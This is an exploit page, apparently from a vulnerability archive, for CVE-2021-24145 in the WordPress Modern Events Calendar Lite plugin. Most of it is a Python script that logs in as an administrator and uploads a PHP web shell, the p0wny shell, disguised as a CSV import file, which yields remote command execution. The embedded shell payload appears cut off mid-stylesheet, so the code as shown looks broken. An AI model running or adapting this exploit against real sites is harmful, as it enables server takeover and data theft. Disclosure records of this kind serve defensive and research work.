WordPress Modern Events Calendar 5.16.2 Shell Upload

2021.07.02
Credit: Ron Jost
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Remote Code Execution (Authenticated) # Date 01.07.2021 # Exploit Author: Ron Jost (Hacker5preme) # Vendor Homepage: https://webnus.net/modern-events-calendar/ # Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip # Version: Before 5.16.5 # Tested on: Ubuntu 18.04 # CVE: CVE-2021-24145 # CWE: CWE-434 # Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24145/README.md ''' Description: Arbitrary file upload in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5, did not properly check the imported file, allowing PHP ones to be uploaded by administrator by using the 'text/csv' content-type in the request. ''' ''' Banner: ''' banner = """ ______ _______ ____ ___ ____ _ ____ _ _ _ _ _ ____ / ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \| || | / | || || ___| | | \ \ / /| _| _____ __) | | | |__) | |_____ __) | || |_| | || ||___ \ | |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _| |__ _|__) | \____| \_/ |_____| |_____|\___/_____|_| |_____| |_| |_| |_||____/ * Wordpress Plugin Modern Events Calendar Lite RCE * @Hacker5preme """ print(banner) ''' Import required modules: ''' import requests import argparse ''' User-Input: ''' my_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calenar Lite RCE (Authenticated)') my_parser.add_argument('-T', '--IP', type=str) my_parser.add_argument('-P', '--PORT', type=str) my_parser.add_argument('-U', '--PATH', type=str) my_parser.add_argument('-u', '--USERNAME', type=str) my_parser.add_argument('-p', '--PASSWORD', type=str) args = my_parser.parse_args() target_ip = args.IP target_port = args.PORT wp_path = args.PATH username = args.USERNAME password = args.PASSWORD print('') ''' Authentication: ''' session = requests.Session() auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php' # Header: header = { 'Host': target_ip, 'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'de,en-US;q=0.7,en;q=0.3', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'http://' + target_ip, 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } # Body: body = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1' } # Authenticate: print('') auth = session.post(auth_url, headers=header, data=body) auth_header = auth.headers['Set-Cookie'] if 'wordpress_logged_in' in auth_header: print('[+] Authentication successfull !') else: print('[-] Authentication failed !') exit() ''' Exploit: ''' exploit_url = "http://" + target_ip + ':' + target_port + wp_path + "wp-admin/admin.php?page=MEC-ix&tab=MEC-import" # Exploit Header: header = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------29650037893637916779865254589", "Origin": "http://" + target_ip, "Connection": "close", "Upgrade-Insecure-Requests": "1" } # Exploit Body: (using p0wny shell: https://github.com/flozz/p0wny-shell body = "-----------------------------29650037893637916779865254589\r\nContent-Disposition: form-data; name=\"feed\"; filename=\"shell.php\"\r\nContent-Type: text/csv\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n # Exploit session.post(exploit_url, headers=header, data=body) print('') print('[+] Shell Uploaded to: ' + 'http://' + target_ip + ':' + target_port + wp_path + '/wp-content/uploads/shell.php') print('')


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